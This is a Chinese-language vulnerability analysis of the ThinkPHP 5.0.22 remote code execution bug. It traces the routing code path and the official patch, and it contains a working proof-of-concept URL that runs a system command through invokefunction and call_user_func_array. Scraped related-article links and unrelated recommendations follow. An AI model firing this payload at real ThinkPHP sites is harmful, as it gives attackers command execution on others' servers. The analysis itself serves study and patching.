虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象;我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同的。本文分析5.0.22版本的远程代码执行漏洞,分析过程如下:

  (1)漏洞复现

  环境php5.5.38+apache。

  POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  

  (2)漏洞分析

  看下应用入口文件.\thinkphp_5.0.22_with_extend\public\index.php

 // 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

  跟进/../thinkphp/start.php

 namespace think;

 // ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php'; // 2. 执行应用
App::run()->send();

  第8行中的App::run相当于think/App:run,跟进.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函数

     public static function run(Request $request = null)
{ $request = is_null($request) ? Request::instance() : $request; try {
$config = self::initCommon(); // 模块/控制器绑定
if (defined('BIND_MODULE')) {
BIND_MODULE && Route::bind(BIND_MODULE);
} elseif ($config['auto_bind_module']) {
.........................

  此时进入run函数,因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数,关键代码如下:

             // 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch; // 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
//var_dump($dispatch['module']);

  

  因上述代码中的第7行的变量$dispatch为空,所以进入第8行的routeCheck函数,跟入到此函数,关键代码如下:

     public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false; // 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);

        

  上述代码中第3行代码得到POC中的路径,路径变量$path为index/think\app/invokefunction,POC中剩余变量存储在$_GET中,继续往下跟routeCheck函数,关键代码如下:

             // 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
} // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
} /**

  上述代码中因变量$result为假,所以会进入第13行代码的Route::parseUrl函数,此函数用来解析变量$path(index/think\app/invokefunction),跟进到此函数,关键代码如下:

     public static function parseUrl($url, $depr = '/', $autoSearch = false)
{ if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模块/控制器绑定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
$route = [null, null, null];
if (isset($path)) {
// 解析模块
$module = Config::get('app_multi_module') ? array_shift($path) : null;
if ($autoSearch) {
// 自动搜索控制器

  

  上述代码的第9行会将变量$url中的符号'/'替换为'|',接着会进入第10行的parseUrlPath函数,关键代码如下:

     private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模块/控制器/操作?]参数1=值1&参数2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}

  跟到上述代码中的第13行,它会将变量$url变为数组,此时$path数组的值为如下图所示

  

  此时重新返回到parseUrl函数,继续往下跟,跟到解析控制器部分,关键代码如下:

             } else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析额外参数
self::parseUrlParams(empty($path) ? '' : implode('|', $path));
// 封装路由
$route = [$module, $controller, $action];
// 检查地址是否被定义过路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
} if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];

  

  上述代码中第3行、第6行会得到控制器和操作方法等,然后会封装路由,数组变量$route如下图所示:

  

  上述代码中第22行代码后会以数组的形式返回到routeCheck函数,关键代码如下:

         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}

  上述代码中由第3行的数组变量$result接受返回的数据,第6行再将数组变量$result结果返回到run函数中,关键代码如下:

            if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
//var_dump($dispatch['module']);
// 记录当前调度信息
$request->dispatch($dispatch); // 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
} // 监听 app_begin
Hook::listen('app_begin', $dispatch); // 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
); $data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}

  上述代码中第2行的变量$dispatch接受返回的数组变量$result的值,$dispatch结果如下图所示:

        

  继续跟到上述代码中的第25行的exec函数,它是用来做执行操作的,关键代码如下:

     protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);

  上述代码中因第3行的$dispatch['type']为module,所以会跳到第8行,跟进module函数,关键代码如下:

     public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
} $request = Request::instance(); if ($config['app_multi_module']) {

  上述代码中数组变量$result的值如下图所示:

  

  继续跟进module函数,关键代码如下:

         // 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert']; // 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
      //官方给的补丁位置
          if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
          }
$controller = $convert ? strtolower($controller) : $controller; // 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}

  其中第5行的变量$controller代表控制器名,它就是数组变量$result的第二个元素的值(think\app),上述代码中标红部分正是官方给出的补丁,它对控制器名加了一个验证。继续往下跟,关键代码如下:

             $actionName = $convert ? strtolower($actionName) : $actionName;
} // 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName); // 监听module_init
Hook::listen('module_init', $request);

  

  上述代码第5行会设置请求的控制器和操作,操作名变量$actionName为invokefunction,继续往下跟module函数,关键代码如下:

         $vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName); } elseif (is_callable([$instance, '_empty'])) {

  

  上述代码中的第2行is_callable因验证think\app中存在invokefunction方法,所以会进入到这个if语句,第6行代码会获取类名和方法名,继续跟到module函数末尾,代码如下:

         }

         Hook::listen('action_begin', $call);

         return self::invokeMethod($call, $vars);
}

  上述代码的第5行会调用invokeMethod函数,变量$var为空,变量$call的值如下图所示:

  

  跟入invokeMethod函数,关键代码如下:

     public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
} $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

  上述代码的第11行数组变量$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,结果如下图所示:

  

  上述代码中的第15行会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,关键代码如下:

     protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作

  上述代码中的第5行的变量$data会接受最后的执行数据的值,结果如下图所示,看以看到命令已经执行成功了。

  

  (3)小结

  后面的执行细节就不跟了,以上就是版本5.0.22漏洞的分析过程,此漏洞产生的关键原因在routeCheck函数中,关键代码如下:

         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}

  上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况,$result的值为如下如所示:

  

  最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)来解析类和参数,从而导致命令执行漏洞。

  正在学习中,分析不当之处还请指正。

thinkphp5.0.22远程代码执行漏洞分析及复现的更多相关文章

  1. CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

    漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...

  2. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  3. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  4. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  5. ThinkPHP 5.0远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  6. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  7. CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析

    Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器.         Microsoft Internet Explorer 6至9版本中存在漏 ...

  8. CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析

    [CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110)    Microsoft Wi ...

  9. ThinkPHP 5.x远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

随机推荐

  1. left join on 后and 和 where 的区别

    SELECT * FROM student a LEFT JOIN sc b ON a.Sid = b.Sid AND a.Sname="赵雷" 结果:(left join 左连接 ...

  2. Cowboy http服务器 websocket

    一.基础介绍 cowboy是一个小巧.快速.模块化的http服务器,采用Erlang开发.其中良好的clean module使得我们可以扩展到多种网络协议之中,cowboy自带的有tcp和ssl,而也 ...

  3. Android四大组件之Service --- 服务的生命周期

    一旦在项目的任何位置调用了Context的startService() 方法,相应的服务就会启动起来,并回调onStartCommand() 方法.如果这个服务之前还没有创建过,onCreate() ...

  4. js获取元素属性值为空的原因和解决办法

    问题描述:js获取某元素的属性值为空 代码: <!-- css定义在head中 --> <style> #box{ width: 100px; height: 100px; b ...

  5. springboot - websocket实现及原理

    本文章包括websocket面试相关问题以及spring boot如何整合webSocket. 参考文档 https://blog.csdn.net/prayallforyou/article/det ...

  6. python基础 字典练习

    练习1:info = [ {'wangming': { 'money':1111, 'car':['bmo','bsj'], 'info':{ 'phone':1511111, 'age':18} } ...

  7. URL路由系统-命名空间

    命名空间 1.工程Django下的urs.py from django.conf.urls import url,include from django.urls import path,re_pat ...

  8. leetcode 415 两个字符串相加

    string addstring(string s1,string s2) { string ans=""; ; ,j=s2.length()-;i>=||j>=;i- ...

  9. LINUX 学习笔记 账号与群组的管理

    LINUX 账号与群组的管理 UID:UserID 保存文件:/etc/passwd GID:GroupID 保存文件:/etc/group /etc/passwd 文件结构 一行代表一个账号,里面还 ...

  10. L360 Most People Spend Their Time in Just 25 Places

    Some people are always out on the town, going to concerts, restaurant openings, you name it. They're ...